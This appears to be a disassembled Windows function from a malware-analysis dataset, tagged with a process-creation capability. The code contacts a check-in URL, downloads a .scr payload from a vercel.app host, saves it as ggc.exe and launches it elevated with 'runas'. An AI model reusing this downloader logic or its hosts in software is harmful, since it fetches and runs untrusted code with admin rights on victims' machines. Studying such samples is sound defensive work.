Function at 0x140002793
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0x220
lea rbp, [rsp + 0x80]
call fcn.14000d7c0
lea rax, [rbp + 0x11c]
mov qword [rbp + 0x190], rax
nop
nop
lea rdx, [rbp + 0x11c]
lea rax, [rbp + 0xf0]
mov r8, rdx
lea rdx, str.master_repogen.vercel.app
mov rcx, rax
call fcn.1400b0b00
lea rax, [rbp + 0x11c]
mov rcx, rax
call fcn.1400a1c10
nop
lea rax, [rbp + 0x11d]
mov qword [rbp + 0x188], rax
nop
nop
lea rdx, [rbp + 0x11d]
lea rax, [rbp + 0xd0]
mov r8, rdx
lea rdx, str.https
mov rcx, rax
call fcn.1400b0b00
lea rax, [rbp + 0x11d]
mov rcx, rax
call fcn.1400a1c10
nop
lea rax, [rbp + 0x11e]
mov qword [rbp + 0x180], rax
nop
nop
lea rdx, [rbp + 0x11e]
lea rax, [rbp + 0xb0]
mov r8, rdx
lea rdx, str._file_server.scr
mov rcx, rax
call fcn.1400b0b00
lea rax, [rbp + 0x11e]
mov rcx, rax
call fcn.1400a1c10
nop
lea rax, [rbp + 0x11f]
mov qword [rbp + 0x178], rax
nop
nop
lea rdx, [rbp + 0x11f]
lea rax, [rbp + 0x90]
mov r8, rdx
lea rdx, str.https:__www.kenesrakishevinfo.com_api_census_RecordHit
mov rcx, rax
call fcn.1400b0b00
lea rax, [rbp + 0x11f]
mov rcx, rax
call fcn.1400a1c10
nop
lea rax, [rbp + 0x70]
mov rcx, rax
call fcn.1400b0e20
lea rdx, [rbp + 0x70]
lea rax, [rbp + 0x90]
mov rcx, rax
call fcn.14000216a
mov byte [rbp + 0x19f], al
cmp byte [rbp + 0x19f], 0
je 0x1400028fe
lea rax, [rbp + 0x70]
mov r8d, 0
lea rdx, str.success
mov rcx, rax
call fcn.140030130
cmp rax, 0xffffffffffffffff
je 0x1400028fe
mov eax, 1
jmp 0x140002903
mov eax, 0
test al, al
je 0x140002ad3
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0xd0]
lea r8, [0x1400d939f]
mov rcx, rax
call fcn.1400cf950
lea rax, [rbp + 0x120]
lea rcx, [rbp + 0xf0]
lea rdx, [rbp + 0x140]
mov r8, rcx
mov rcx, rax
call fcn.1400cf840
lea rax, [rbp - 0x60]
lea rcx, [rbp + 0xb0]
lea rdx, [rbp + 0x120]
mov r8, rcx
mov rcx, rax
call fcn.1400cf840
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.1400b17f0
lea rax, [rbp + 0x140]
mov rcx, rax
call fcn.1400b17f0
lea rax, [rbp + 0x166]
mov qword [rbp + 0x170], rax
nop
nop
lea rdx, [rbp + 0x166]
lea rax, [rbp - 0x40]
mov r8, rdx
lea rdx, str.ggc.exe
mov rcx, rax
call fcn.1400b0b00
lea rax, [rbp + 0x166]
mov rcx, rax
call fcn.1400a1c10
nop
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.14000254f
test al, al
je 0x140002abb
lea rax, [rbp + 0x167]
mov qword [rbp + 0x168], rax
nop
nop
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400ae7b0
mov rbx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400aedd0
mov rdx, rax
lea rcx, [rbp + 0x167]
lea rax, [rbp - 0x20]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call fcn.1400b53e0
lea rax, [rbp + 0x167]
mov rcx, rax
call fcn.1400a1c20
nop
mov rdx, rbp
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp], 0x70
mov dword [rbp + 4], 0x40
lea rax, str.runas
mov qword [rbp + 0x10], rax
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.140031060
mov qword [rbp + 0x18], rax
mov dword [rbp + 0x30], 1
mov rax, rbp
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExW]
call rax
test eax, eax
setne al
test al, al
je 0x140002aaf
mov rax, qword [rbp + 0x68]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.1400b62d0
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400b17f0
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.1400b17f0
mov ebx, 0
lea rax, [rbp + 0x70]
mov rcx, rax
call fcn.1400b17f0
lea rax, [rbp + 0x90]
mov rcx, rax
call fcn.1400b17f0
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.1400b17f0
lea rax, [rbp + 0xd0]
mov rcx, rax
call fcn.1400b17f0
lea rax, [rbp + 0xf0]
mov rcx, rax
call fcn.1400b17f0
mov eax, ebx
jmp 0x140002c63
add rsp, 0x220
pop rbx
pop rdi
pop rbp
ret